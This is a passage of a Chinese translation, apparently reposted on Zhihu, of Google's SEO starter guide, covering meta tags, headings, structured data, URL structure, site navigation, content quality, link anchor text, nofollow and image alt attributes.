result)17。<br/>首页标题可列出网站/商家的名称,并可包含其他重要信息,例如商家的实际营业地点或主营业务/产品。<br/>最佳做法<br/><b>准确描述网页内容</b><br/>选择一个读起来自然且能有效传达网页内容主题的标题。<br/><b>应避免的做法:</b><br/></p><ul><li>选择与网页内容无关的标题。</li><li>使用默认或模糊标题,例如“无标题”或“新增网页 1”。</li></ul><p><b>为每个网页创建唯一专用标题</b><br/>网站上的每个页面最好具有唯一专用标题,这有助于 Google 了解该页面与您网站上其他页面的区别。如果网站具有独立的移动版网页,也请为移动版网页使用恰当的标题。<br/><b>应避免的做法:</b><br/></p><ul><li>为网站所有页面或大量页面使用单一标题。</li></ul><p><b>使用简短但描述准确的标题</b><br/>标题应简短而信息丰富。如果标题太长或被认为不太相关,那么 Google 可能只会显示其中的一部分或在搜索结果中自动生成的标题。Google 还可能根据用户的查询或搜索时所用设备显示不同的标题。<br/><b>应避免的做法:</b><br/></p><ul><li>使用对用户来说不实用的冗长标题。</li><li>在标题标记中填充不需要的关键字。</li></ul><p>使用“description”元标记<br/>网页的说明元标记可让 Google 和其他搜索引擎了解该网页的大致内容。网页的标题可以是几个词或一个短语,而网页的说明元标记则可以是一两个句子或是一小段话。与 <code><title></code> 标记一样,说明元标记也位于 HTML 文档的 <code><head></code> 元素中。<br/></p><figure data-size="normal"><img src="https://pic2.zhimg.com/v2-6d3fc12f55c0e4d2f6cd5c5bbaf5db8d_b.jpg" data-caption="" data-size="normal" data-rawwidth="300" data-rawheight="250" class="content_image" width="300"/></figure><p>网页的说明元标记则可以是一两个句子或是一小段话<br/>说明元标记有哪些好处?<br/>说明元标记很重要,因为 Google 可能会将其用作您网页的摘要。请注意,我们说的是“可能”,因为 Google 也可能选择使用网页可见文本的相关部分(如果该部分能很好地匹配用户查询的话)。为每个网页添加说明元标记从来都是非常好的做法,以防 Google 找不到要在摘要中使用的恰当文字。您不妨去网站站长中心博客看看,其中有<a href="https://link.zhihu.com/?target=http%3A//googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">通过更合适的 description 元标记改进搜索结果摘要</a> (improving snippets with better description meta tags)18 和<a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2017/06/better-snippets-for-your-users.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">为用户提供更合适的搜索结果摘要</a> (better snippets for your users)19 等多篇实用博文。帮助中心也不乏<a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/35624" class=" wrap external" target="_blank" rel="nofollow noreferrer">如何创建良好的标题和摘要</a>20这样的实用内容。<br/></p><figure data-size="normal"><img src="https://pic2.zhimg.com/v2-3a16a82cd2e9b3d8ad3724fa4372f5b5_b.jpg" data-caption="" data-size="normal" data-rawwidth="350" data-rawheight="283" class="content_image" width="350"/></figure><p>为每个网页添加说明元标记从来都是非常好的做法<br/>最佳做法<br/><b>准确总结网页内容</b><br/>如果您的说明元标记可在搜索结果中以摘要形式向用户显示,则请编写一份既能告知用户相关信息又能引起用户兴趣的说明。虽然说明元标记中的文本没有最少或最多字数限制,但建议您确保其长度足以完全显示在搜索结果中(请注意,用户可能会看到不同大小的摘要,具体取决于用户搜索时所用的方式和设备),并且包含用户确定该网页是否有用以及是否与其搜索内容相关所需的所有相关信息。<br/><b>应避免的做法:</b><br/></p><ul><li>编写与网页内容无关的说明元标记。</li><li>使用“这是一个网页”或“与棒球卡相关的网页”等通用说明。</li><li>仅使用关键字填写说明。</li><li>将整个文档复制并粘贴到说明元标记中。</li></ul><p><b>为每个网页使用唯一的说明</b><br/>为每个网页使用不同的说明元标记对用户和 Google 都有帮助,尤其是当用户的搜索可能会使您网域上的多个网页显示在搜索结果中时(例如,使用 <code>site:</code> 运算符进行搜索)。如果您的网站有数千个甚至数百万个网页,那么手动构建说明元标记的方式可能不可行。在这种情况下,您可以根据每个网页的内容自动生成说明元标记。<br/><b>应避免的做法:</b><br/></p><ul><li>为网站所有页面或大量页面使用单一说明元标记。</li></ul><p>使用标题标记强调重要文字<br/>由于标题标记中的文字往往比网页上的普通文字大,这种视觉提示可告知用户这些文字很重要,并可帮助用户了解标题文字下面的内容类型。按顺序使用多种大小的标题可为您的内容创建层次结构,便于用户浏览文档。<br/>最佳做法<br/><b>设想您正在编写大纲</b><br/>与为大型文章编写大纲相似,您可以想想网页内容的要点和次要点是什么,这将有助于决定在何处使用标题标记。<br/><b>应避免的做法:</b><br/></p><ul><li>在标题标记中放置对定义网页结构无用的文字。</li><li>在 <code></code> 和 <code><strong></code> 等其他标记更合适的地方使用标题标记。</li><li>毫无规律地使用不同大小的标题标记。</li></ul><p><b>在网页上谨慎使用标题</b><br/>应在合适的位置使用标题标记,因为如果网页上的标题标记过多,用户将难以浏览内容,也难以确定主题的起止位置。<br/><b>应避免的做法:</b><br/></p><ul><li>在网页上过度使用标题标记。</li><li>标题过长。</li><li>仅出于为文字添加样式(而非为了呈现结构)的目的使用标题标记。</li></ul><p>添加结构化数据标记<br/><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/guides/intro-structured-data" class=" wrap external" target="_blank" rel="nofollow noreferrer">结构化数据</a>21是可添加到网站页面中的代码,用于向搜索引擎描述内容,以便搜索引擎更好地了解网页上的信息。搜索引擎可以利用这类信息在搜索结果中以有用的(且吸引用户的)方式显示您的内容。这也有助于您吸引到适合您业务的客户。<br/></p><figure data-size="normal"><img src="https://pic3.zhimg.com/v2-caf46d968c77e03e233c95668a44be3a_b.jpg" data-caption="" data-size="normal" data-rawwidth="527" data-rawheight="167" class="origin_image zh-lightbox-thumb" width="527" data-original="https://pic3.zhimg.com/v2-caf46d968c77e03e233c95668a44be3a_r.jpg"/></figure><p>结构化数据标记<br/>例如,如果您有一个网店并且标记了一个单独的产品页面,这将帮助我们了解该页面主要显示自行车、自行车价格以及客户评价。我们可能会在相关查询的搜索结果的摘要中显示这些信息。我们将其称之为“富媒体搜索结果”。<br/>除了使用结构化数据标记来实现富媒体搜索结果外,我们还可能会使用结构化数据来提供其他格式的相关结果。例如,如果您拥有一家实体店,标记营业时间可让潜在客户在需要时准确找到您,并能让他们知道在他们搜索之时您的店是否在营业。<br/></p><figure data-size="normal"><img src="https://pic2.zhimg.com/v2-01f83d2f5b50816ae54f7492bbdb3abd_b.jpg" data-caption="" data-size="normal" data-rawwidth="675" data-rawheight="544" class="origin_image zh-lightbox-thumb" width="675" data-original="https://pic2.zhimg.com/v2-01f83d2f5b50816ae54f7492bbdb3abd_r.jpg"/></figure><p>结构化数据来提供其他格式的相关结果<br/>您可以标记许多与业务相关的实际信息:<br/></p><ul><li>所销售的产品</li><li>营业地点</li><li>与产品或业务有关的视频</li><li>营业时间</li><li>活动信息</li><li>食谱</li><li>贵公司的徽标等等!</li></ul><p><a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/guides/search-gallery" class=" wrap external" target="_blank" rel="nofollow noreferrer">在我们的开发者网站中查看受支持的内容类型的完整列表</a>22。<br/>我们建议您使用结构化数据和任何受支持的符号标记来说明您的内容。您可在网页的 HTML 代码中添加标记,也可使用<a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/tools/data-highlighter" class=" wrap external" target="_blank" rel="nofollow noreferrer">数据标注工具</a>23和<a href="https://link.zhihu.com/?target=https%3A//www.google.com/webmasters/markup-helper/" class=" wrap external" target="_blank" rel="nofollow noreferrer">结构化数据标记助手</a>24等工具(要详细了解这些工具,请参阅“最佳做法”部分)。<br/>最佳做法<br/><b>利用富媒体搜索结果测试来检查标记</b><br/>标记完内容后,您可以利用 <a href="https://link.zhihu.com/?target=https%3A//search.google.com/test/rich-results" class=" wrap external" target="_blank" rel="nofollow noreferrer">Google 富媒体搜索结果测试</a>25来确保整个实现过程无误。您可以输入内容所在的网址,也可以复制包含标记的实际 HTML 代码。<br/><b>应避免的做法:</b><br/></p><ul><li>使用无效标记。</li></ul><p><b>使用数据标注工具</b><br/>如果想在不更改网站源代码的情况下尝试给出结构化标记,则可以使用数据标注工具,这是一款集成在 Search Console 中的支持一系列内容类型的免费工具。<br/>如果想准备好标记代码以复制并粘贴到您的网页中,您可以尝试使用结构化数据标记助手工具。<br/><b>应避免的做法:</b><br/></p><ul><li>在对标记实现还没有把握的情况下更改网站的源代码。</li></ul><p><b>跟踪已标记页面的表现</b><br/>Search Console 中提供的各种<a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/7552505" class=" wrap external" target="_blank" rel="nofollow noreferrer">“富媒体搜索结果”报告</a>26会显示以下信息:我们在您网站上检测到了多少个带有特定类型标记的页面、它们在搜索结果中出现了多少次,以及用户在过去 90 天内点击了它们多少次。该报告还会显示我们检测到的所有错误。<br/><b>应避免的做法:</b><br/></p><ul><li>添加用户无法看不到的标记数据。</li><li>制作虚假评论或添加无关标记。</li></ul><p>管理您的网页在 Google 搜索结果中的显示效果<br/>如果向网页中添加正确的结构化数据,还能使网页有资格使用搜索结果中的许多特殊功能,包括评价星标、外观精美的搜索结果等。<a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/guides/search-gallery" class=" wrap external" target="_blank" rel="nofollow noreferrer">查看您的网页有资格使用的搜索结果类型库</a>27。<br/>组织您的网站层次结构<br/>了解搜索引擎如何使用网址<br/>搜索引擎需要每部分内容都有一个独一无二的网址,以便能够抓取该内容并将其编入索引,从而在用户搜索时向他们呈现这些内容。不同内容(例如某个商店中的不同产品)以及修改后的内容(例如某内容的翻译版本或地区性版本)需要使用单独的网址才能在搜索结果中得到恰当的展示。<br/>网址通常分为多个不同的部分:<br/><code><协议>://<主机名>/<路径>/<文件名>?<查询字符串>#<片段></code><br/>例如:<br/><code>https://www.example.com/RunningShoes/Womens.htm?size=8#info</code><br/>Google 建议所有网站尽可能都使用 https://。主机名是网站的托管之处,通常所使用的域名与您用于电子邮件的域名相同。Google 会区别对待包含“www”的版本或不包含“www”的版本(例如“www.example.com”或仅仅是“example.com”)。将网站添加到 Search Console 时,建议您同时添加以 http:// 开头的版本和以 https:// 开头的版本,以及包含“www”的版本或不包含“www”的版本。<br/>路径、文件名和查询字符串决定了要访问服务器上的哪些内容。这三个部分区分大小写,因此,使用“FILE”与使用“file”将得到不同的网址。主机名和协议不区分大小写,因为大小写不会产生任何影响。<br/>片段(本例中为“<code>#info</code>”)通常用于标识浏览器应滚动到页面的哪个部分。由于不管片段是什么,内容本身通常是一样的,因此,搜索引擎常常会忽略所使用的片段。<br/>指向首页时,主机名后的结尾斜线是可选的,因为有无该斜线都将指向相同的内容(“https://example.com/”与“https://example.com”的效果相同)。对路径和文件名而言,结尾斜线的存在与否将产生不同的网址(斜线可指明是文件还是目录),例如,“https://example.com/fish”与“https://example.com/fish/”并不相同。<br/>导航对搜索引擎非常重要<br/>网站导航对于帮助访问者快速找到所需内容非常重要,它也可以帮助搜索引擎了解哪些是网站站长认为重要的内容。虽然 Google 的搜索结果是在页面级别提供的,但 Google 也希望了解页面在网站这个更大层面上的角色。<br/><br/></p><figure data-size="normal"><img src="https://pic4.zhimg.com/v2-503fdd4f491861d3e3f16be6690f8957_b.jpg" data-caption="" data-size="normal" data-rawwidth="314" data-rawheight="479" class="content_image" width="314"/></figure><p>导航对搜索引擎非常重要<br/>根据首页规划导航<br/>所有网站都有首页或“根”网页,这通常是网站上很多访问者最常访问的页面,是他们在网站中导航的起点。除非您的网站只有极少量的页面,否则您应该考虑访问者将如何从一个内容宽泛的页面(根网页)转到包含更加具体的内容的页面。围绕特定主题的页面是否多到需要创建一个页面来介绍这些相关的页面(例如,根网页 -> 相关主题列表 -> 特定主题)?您是否有数百种不同的产品,需要分类到多个类别页面和子类别页面中?<br/>使用“面包屑导航列表”<br/>面包屑导航是位于页面顶部或底部的一行内部链接,可让访问者快速返回上一版块或根网页。许多面包屑导航都将内容最宽泛的页面(通常为根网页)设置为最左边的首个链接,并在右侧列出更具体的部分。我们建议在显示面包屑导航路径时使用<a href="https://link.zhihu.com/?target=https%3A//developers.google.com/search/docs/data-types/breadcrumbs" class=" wrap external" target="_blank" rel="nofollow noreferrer">面包屑导航结构化数据标记</a>28。<br/><br/></p><figure data-size="normal"><img src="https://pic4.zhimg.com/v2-11b28a1f09b63c0d3145403bd601ef8b_b.jpg" data-caption="" data-size="normal" data-rawwidth="650" data-rawheight="117" class="origin_image zh-lightbox-thumb" width="650" data-original="https://pic4.zhimg.com/v2-11b28a1f09b63c0d3145403bd601ef8b_r.jpg"/></figure><p>面包屑导航列表<br/>为用户创建简洁的导航页<br/>导航页是网站上显示网站结构的一个简单页面,通常包含网站页面的分层列表。如果在网站上查找页面时遇到问题,访问者可能会访问此页面。虽然搜索引擎也会访问此页面,以便使抓取范围尽量覆盖网站的全部页面,但其主要对象还是人类访问者。<br/>最佳做法<br/><b>创建自然流畅的层次结构</b><br/>让用户尽可能方便地从网站上的宽泛内容转到他们所需的更加具体的内容。在必要时增加导航页,并有效地将这些纳入到内部链接结构中。确保网站上的所有页面都可通过链接访问,并且不需要内部“搜索”功能便可找到。在适当情况下,链接到相关的页面,方便用户发现相似的内容。<br/><b>应避免的做法:</b><br/></p><ul><li>创建复杂的导航链接网页,例如将网站上的每个页面链接到其他页面。</li><li>过度拆分内容(以至于从首页点击 20 次后才能访问目标内容)。</li></ul><p><b>使用文字进行导航</b><br/>通过文字链接控制网站页面之间的大部分导航,可使搜索引擎更容易抓取和理解您的网站。使用 JavaScript 创建页面时,请使用“a”元素,将网址用作“href”属性值,并在页面加载时生成所有菜单项,而不是等待用户互动时生成。<br/><b>应避免的做法:</b><br/></p><ul><li>创建完全以图片或动画为基础的导航。</li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/72746" class=" wrap external" target="_blank" rel="nofollow noreferrer">导航需要使用以脚本或插件为基础的事件处理功能</a>29。</li></ul><p><b>为用户创建导航页,为搜索引擎创建站点地图</b><br/>为方便用户使用,您可以为整个网站或最重要的页面(如果您有成百上千个页面)提供一个简洁的导航页。同时,创建一个 XML 站点地图文件,确保搜索引擎能够发现网站上的新增页面和更新页面,文件中要列出所有相关网址及其主要内容的最后修改日期。<br/><b>应避免的做法:</b><br/></p><ul><li>任由导航页内容过期、链接损坏。</li><li>创建一个只是简单罗列页面而不加以整理(例如按主题)的导航页。</li></ul><p><b>显示实用的 404 页面</b><br/>用户偶尔会因点击损坏的链接或输入错误的网址而转到您网站上不存在的网页。使用<a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/93641" class=" wrap external" target="_blank" rel="nofollow noreferrer">自定义 404 页面</a>30能够有效引导用户返回到您网站上的正常页面,从而大幅提升用户的体验。404 页面最好包含可以返回根网页的链接,还可以提供指向您网站上热门内容或相关内容的链接。您可以使用 Google Search Console 找出<a href="https://link.zhihu.com/?target=http%3A//googlewebmastercentral.blogspot.com/2008/10/webmaster-tools-shows-crawl-error.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">导致“未找到”错误的网址来源</a>31。<br/><b>应避免的做法:</b><br/></p><ul><li>允许搜索引擎将您的 404 页面编入索引(确保您的网络服务器配置为:当请求访问不存在的页面时,返回 404 HTTP 状态代码;如果是使用 JavaScript 的网站,则包含 noindex 漫游器元标记)。</li><li>通过 robots.txt 文件阻止抓取 404 页面。</li><li>仅提供模糊的消息,例如“未找到”、“404”或根本没有 404 页面。</li><li>404 页面使用的设计与网站其他部分的设计不一致。</li></ul><p>简洁网址易于传达内容信息<br/>为网站上的文档创建描述性类别和文件名,不仅可以帮助您更好地组织网站,而且可以为希望链接到您的内容的用户创建更简单、“更友善”的网址。如果网址极为冗长,含义模糊,并且包含很少的可识别字词,访问者可能会被吓到。<br/>下图所示的网址便不够友善,并且可能会让人感到困惑。<br/></p><figure data-size="normal"><img src="https://pic2.zhimg.com/v2-016edb2018b35158b805df8c13a0ba31_b.png" data-caption="" data-size="normal" data-rawwidth="650" data-rawheight="62" class="origin_image zh-lightbox-thumb" width="650" data-original="https://pic2.zhimg.com/v2-016edb2018b35158b805df8c13a0ba31_r.jpg"/></figure><p>简洁网址易-反面例子<br/>如果您的网址有明确的含义,则该网址在不同上下文中都可能会更实用且更易于理解。<br/></p><figure data-size="normal"><img src="https://pic2.zhimg.com/v2-960068d51c664579863640734d477acd_b.png" data-caption="" data-size="normal" data-rawwidth="650" data-rawheight="70" class="origin_image zh-lightbox-thumb" width="650" data-original="https://pic2.zhimg.com/v2-960068d51c664579863640734d477acd_r.jpg"/></figure><p>简洁网址易<br/>网址会显示在搜索结果中<br/>最后需要注意的是,文档的网址通常显示在文档标题下方的 Google 搜索结果中。<br/>Google 擅长抓取所有类型的网址结构(即使它们相当复杂),但花时间尽量让您的网址变得简单才是上策。<br/>最佳做法<br/><b>在网址中使用字词</b><br/>若网址具有与网站内容以及结构相关的字词,则对浏览您网站的访问者来说更为友善。<br/><b>应避免的做法:</b><br/></p><ul><li>使用含有不必要的参数和会话 ID 的冗长网址。</li><li>使用普通的网页名称,例如“page1.html”。</li><li>使用过多的关键字,例如“baseball-cards-baseball-cards-baseballcards.htm”。</li></ul><p><b>创建简单的目录结构</b><br/>使用可有效组织内容的目录结构,让访问者轻松知晓其在网站上的位置。尝试使用目录结构指明在该网址中找到的内容类型。<br/><b>应避免的做法:</b><br/></p><ul><li>具有深层嵌套的子目录,例如“…/dir1/dir2/dir3/dir4/dir5/dir6/page.html”。</li><li>使用与其内容无关的目录名称。</li></ul><p><b>提供一个版本的文档访问网址</b><br/>为防止将某些用户链接到相应网址的一个版本而将其他用户链接到另一版本(这可能会导致在这两个网址之间拆分该内容的声誉),请确保在网页结构和内部链接中使用和引用 1 个网址。如果您确实发现用户在通过多个网址访问相同的内容,那么设置一个从非首选网址到主导网址的 <a href="https://link.zhihu.com/?target=http%3A//support.google.com/webmasters/answer/93633" class=" wrap external" target="_blank" rel="nofollow noreferrer">301 重定向</a>32是一个很好的解决方案。如果无法重定向,您还可使用规范网址或 <a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/139066" class=" wrap external" target="_blank" rel="nofollow noreferrer">rel=”canonical”</a>33 link 元素。<br/><b>应避免的做法:</b><br/></p><ul><li>让子域和根目录的网页访问相同内容,例如“<a href="https://link.zhihu.com/?target=http%3A//domain.com/page.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">domain.com/page.html</span><span class="invisible"></span></a>”和“<a href="https://link.zhihu.com/?target=http%3A//sub.domain.com/page.html" class=" external" target="_blank" rel="nofollow noreferrer"><span class="invisible">http://</span><span class="visible">sub.domain.com/page.htm</span><span class="invisible">l</span><span class="ellipsis"></span></a>”。</li></ul><p>优化您的内容<br/>让网站有趣且实用<br/>创建吸引力与实用性兼具的内容对您网站的影响可能比这里讨论的其他任何因素都大。用户看到此类内容便知道其是优质内容,并且可能乐意推荐其他用户访问此类内容。他们可能通过博文、社交媒体服务、电子邮件、论坛或其他方式进行推荐。<br/>自然的口碑有助于您的网站在用户和 Google 中建立声誉,而没有优质的内容很少能够产生自然的口碑。<br/><br/></p><figure data-size="normal"><img src="https://pic4.zhimg.com/v2-5939546de7ccf06a7e8a11e9e5eae707_b.jpg" data-caption="" data-size="normal" data-rawwidth="419" data-rawheight="468" class="content_image" width="419"/></figure><p>自然的口碑<br/>了解读者所想(并向他们提供所需信息)<br/>思考用户找到您的内容时可能用到的搜索字词。与对相关主题比较陌生的用户相比,非常了解该主题的用户可能在搜索查询中使用不同的关键字。例如,资深足球迷可能会搜索 [fifa](Fédération Internationale de Football Association 的缩写),而新粉丝则可能会使用更为常规的查询,如 [足球季后赛]。在撰写内容时(通过搭配使用恰当的关键字词组)预测搜索行为的这些差异并将其纳入考虑范围内,可能会产生积极的影响。Google Ads 提供了便利的<a href="https://link.zhihu.com/?target=https%3A//ads.google.com/home/tools/keyword-planner/" class=" wrap external" target="_blank" rel="nofollow noreferrer">关键字规划师</a>34工具,该工具可帮助您发现新的关键字变体并了解每个关键字的大概搜索量。此外,Google Search Console 提供了<a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/7576553" class=" wrap external" target="_blank" rel="nofollow noreferrer">“效果”报告</a>35,以方便您查看会使您的网站显示在搜索结果中的热门搜索查询以及为您的网站带来最多用户的搜索查询。<br/>考虑创建一项还没有其他网站提供的实用新服务。您还可以撰写原创研究内容,爆料吸引眼球的新闻报道,或利用您的独特用户群。其他网站可能缺乏这样做的资源或专业知识。<br/>最佳做法<br/><b>撰写简单易懂的文字</b><br/>用户喜欢文笔优秀、易于理解的内容。<br/><b>应避免的做法:</b><br/></p><ul><li>编写的文章马虎草率,有许多拼写和语法错误。</li><li>文笔欠佳。</li><li>在图片和视频中嵌入文本:用户可能想复制和粘贴文本,但搜索引擎无法读取该文本。</li></ul><p><b>合理安排主题结构</b><br/>合理安排内容结构总是有好处的,以便访问者清楚地知道内容主题从何处开始、另一内容主题从何处结束。将内容划分为符合逻辑的多个语块或部分,可帮助用户更快地找到他们想要的内容。<br/><b>应避免的做法:</b><br/></p><ul><li>将大量不同主题的文字堆砌到网页上,不分隔段落、子标题或布局。</li></ul><p><b>创建新鲜独特的内容</b><br/>新内容不仅可以让现有访问者群体回头访问,还能吸引新访问者。<br/><b>应避免的做法:</b><br/></p><ul><li>稍加改动(甚至复制)几乎不能为用户带来额外价值的现有内容。</li><li>网站上到处是重复或近似重复的内容。</li></ul><p><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/66359" class=" wrap external" target="_blank" rel="nofollow noreferrer">详细了解重复内容</a>36<br/><b>针对用户而非搜索引擎优化内容</b><br/>根据访问者的需求设计网站并确保网站易于搜索引擎访问通常会产生积极的影响。<br/><b>应避免的做法:</b><br/></p><ul><li>插入许多针对搜索引擎的不必要关键字,但这些关键字让用户感到厌烦或对他们毫无意义。</li><li>含有“用于访问此网页的频繁拼写错误”等对用户几乎没有价值的文本块。</li><li><a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/66353" class=" wrap external" target="_blank" rel="nofollow noreferrer">以欺骗手法对用户隐藏文字</a>37,但对搜索引擎显示这类文字。</li></ul><p>以建立用户信任为目标<br/>如果用户认为您的网站可靠,就会愿意访问。<br/>声誉良好的网站的可信度较高。增强网站的声誉,使其在特定领域具有专业性和权威性。<br/>向用户说明您网站的发布商、提供相关内容的人员以及该网站的目标。购物网站和其他金融交易网站应提供清晰且令人满意的客户服务信息,以帮助用户解决问题。新闻网站应该向用户明确地说明谁对相关内容负责。<br/>使用适当的技术也很重要。如果购物结算页上没有安全的连接,用户便无法信任该网站。<br/>彰显专业性和权威性<br/>网站的专业性和权威性越强,其质量就越高。确保您网站上的内容是由相关主题的专家创作或编辑的。例如,提供专家的信息或信息丰富的资源可以帮助用户理解文章的专业知识。在网页中展示对科学主题广泛达成的共识是一种非常好的做法(如果此类共识存在的话)。<br/>提供适量内容来阐明您的主题<br/>制作优质内容至少需要以下其中一项:时间、精力、专业知识和才能/技能。内容应该准确无误、文笔清晰并且全面。例如,如果您在网页中描述了一个食谱,请提供易于理解的完整食谱,而不只是菜肴的一组配料或基本描述。<br/><b>应避免的做法:</b><br/></p><ul><li>提供不足以阐明网页用途的内容。</li></ul><p>避免投放会分散用户注意力的广告<br/>我们希望用户能看到广告。但是,您不应该让广告分散用户注意力或妨碍他们使用网站内容。例如,让用户难以使用网站的广告、补充内容或插页(在用户希望看到的内容之前或之后显示的页面)。<a href="https://link.zhihu.com/?target=https%3A//www.thinkwithgoogle.com/marketing-resources/better-ad-standards/" class=" wrap external" target="_blank" rel="nofollow noreferrer">详细了解此主题</a>38。<br/><b>应避免的做法:</b><br/></p><ul><li>在您的网页上投放会分散用户注意力的广告。</li></ul><p>明智地使用链接<br/>撰写优质链接文字<br/>链接文字是链接内的可见文字。这类文字会告诉用户和 Google 有关您将链接到的网页的信息。您网页上的链接可能是内部链接,即指向您网站上的其他网页,也可能是外部链接,即引向其他网站上的内容。在这两种情况下,定位文字越优质,用户越容易浏览,Google 也越容易了解将链接到的网页上的内容。<br/></p><figure data-size="normal"><img src="https://pic3.zhimg.com/v2-558123d5980f2794bafaa6dd68c18556_b.jpg" data-caption="" data-size="normal" data-rawwidth="557" data-rawheight="463" class="origin_image zh-lightbox-thumb" width="557" data-original="https://pic3.zhimg.com/v2-558123d5980f2794bafaa6dd68c18556_r.jpg"/></figure><p>优质链接文字<br/>使用适当的定位文字可让用户和搜索引擎轻松了解链接页所包含的内容。<br/>最佳做法<br/><b>选择描述性文字</b><br/>您用于链接的定位文字应至少提供对链接到的网页的基本说明。<br/><b>应避免的做法:</b><br/></p><ul><li>使用普通的定位文字,如“网页”、“文章”或“点击此处”。</li><li>使用与主题或链接到的网页的内容无关的文字。</li><li>在多数情况下将网页的网址用作定位文字。虽然将网页的网址用作定位文字当然也合情合理,如宣传或引用新网站的地址。</li></ul><p><b>文字简明扼要</b><br/>尽量使用简短但具有描述性的文字 – 通常是几个字或一个短语。<br/><b>应避免的做法:</b><br/></p><ul><li>撰写很长的定位文字,如一个长句或一小段文字。</li></ul><p><b>设置链接格式,让链接容易识别</b><br/>让用户能够轻松区分常规文本和链接的定位文字。如果用户没有看到链接或意外点击了它们,您内容的实用性将降低。<br/><b>应避免的做法:</b><br/></p><ul><li>使用 CSS 或文本样式,让链接看起来像常规文本。</li></ul><p><b>将内部链接的定位文字也纳入考虑范围</b><br/>通常,您可能会考虑链接能否正常指向外部网站的问题,但加大对用于内部链接的定位文字的关注可帮助用户和 Google 更好地在您的网站中导航。<br/><b>应避免的做法:</b><br/></p><ul><li>只针对搜索引擎使用关键字泛滥的定位文字或冗长的定位文字。</li><li>创建不利于用户在网站中导航的不必要链接。</li></ul><p>注意所链接到的网站<br/>您将自己的网站链接至其他网站时,这些网站会沾您的声誉的光。有时,用户会通过在您网站的评论版块或留言板中添加自己网站的链接来利用这一点。再或者,有时您提及某个网站的方式可能会给其带来负面的影响,但同时您又不希望它因为您的网站的声誉而跟着沾光。例如,假设您正在撰写关于垃圾评论的博文,并且想引用一个最近对您的博客发表了垃圾评论的网站。您想提醒其他人提防该网站,因此,您在自己的内容中加入了指向该网站的链接;但是,您当然不希望这样的链接造成该网站因为您的声誉而跟着沾光。这时候就非常适合使用 nofollow。<br/>再举一个例子,在应对小部件链接时,“nofollow”属性就会是一个得心应手的工具。如果您使用了第三方小部件以丰富网站的体验及吸引用户,请检查该小部件是否包含您不想随其一起放到网站上的链接。某些小部件可能会向您的网站添加链接,而这些链接并不属于您希望向用户展示的编辑精选内容,这类小部件还可能包含您作为网站站长可能无法控制的定位文字。如果无法从小部件中移除这类垃圾链接,您随时可以使用“nofollow”属性来停止跟踪这些链接。如果您为自己提供的功能或内容创建小部件,请务必在默认代码段中将 nofollow 包含在链接中。<br/>最后,如果您不希望搜索引擎跟踪页面中的所有链接,您可以在该页面的 <code><head></code> 标记中添加 <code><meta name="robots" content="nofollow"></code> 标记来实现这一点。您可<a href="https://link.zhihu.com/?target=https%3A//webmasters.googleblog.com/2007/03/using-robots-meta-tag.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">在网站站长博客内详细了解漫游器元标记</a>39。<br/>使用“nofollow”应对垃圾评论<br/>如果将一个链接的“rel”属性的值设置为“nofollow”,就等于告诉 Google 不要跟踪您网站上的该链接,该链接指向的网页也不能沾您网页的声誉的光。要想让搜索引擎不跟踪一个链接,需要在该链接的定位文字中添加 rel=”nofollow”,如下所示:<br/><code><a href="http://www.example.com"</code> <code><b>rel="nofollow"</b>>此处为定位文字</a></code><br/>什么时候适合使用此标记?如果您网站上的博客启用了公开评论功能,那么这些评论中的链接可能会将您的声誉传递给某些您可能不愿意为其背书的网页。网页上的博客评论区域很容易出现垃圾评论。不跟踪该区域中用户添加的链接可确保您的网页来之不易的声誉被垃圾网站沾光。<br/></p><figure data-size="normal"><img src="https://pic1.zhimg.com/v2-c15847462a975bf2fe8acb5899830ee4_b.jpg" data-caption="" data-size="normal" data-rawwidth="599" data-rawheight="274" class="origin_image zh-lightbox-thumb" width="599" data-original="https://pic1.zhimg.com/v2-c15847462a975bf2fe8acb5899830ee4_r.jpg"/></figure><p>自动将“nofollow”添加到评论栏和留言板<br/>许多博客软件包会自动指示搜索引擎不跟踪用户评论中的链接,但那些不提供此功能的博客软件包很可能可以通过手动编辑的方式实现不跟踪。此建议也适用于您网站上可能涉及用户生成的内容的其他区域,例如留言簿、论坛、留言板、引荐来源网址列表等。如果您愿意为第三方添加的链接背书(例如,如果在您的网站上某评论是可信的),则无需针对链接使用 nofollow;但链接到 Google 认为是垃圾网站的网站可能会影响您自己网站的声誉。网站站长帮助中心提供了<a href="https://link.zhihu.com/?target=https%3A//support.google.com/webmasters/answer/81749" class=" wrap external" target="_blank" rel="nofollow noreferrer">更多与如何避免垃圾评论相关的提示</a>40,例如,使用人机识别系统以及启用评论审核功能。<br/></p><figure data-size="normal"><img src="https://pic2.zhimg.com/v2-5e963b090ff76d9b39b801ef45d960bd_b.jpg" data-caption="" data-size="normal" data-rawwidth="350" data-rawheight="85" class="content_image" width="350"/></figure><p>优化您的图片<br/>使用“alt”属性<br/>为图片提供描述性文件名和 alt 属性说明。“alt”属性允许您为图片指定替代文字,在图片由于某种原因不能显示时起到救场的作用。<br/></p><figure data-size="normal"><img src="https://pic1.zhimg.com/v2-99d88d8f7d907de05827e26c7ffd7210_b.jpg" data-caption="" data-size="normal" data-rawwidth="317" data-rawheight="224" class="content_image" width="317"/></figure><p>为什么使用此属性?如果用户使用辅助技术(如屏幕阅读器)查看您的网站,则 alt 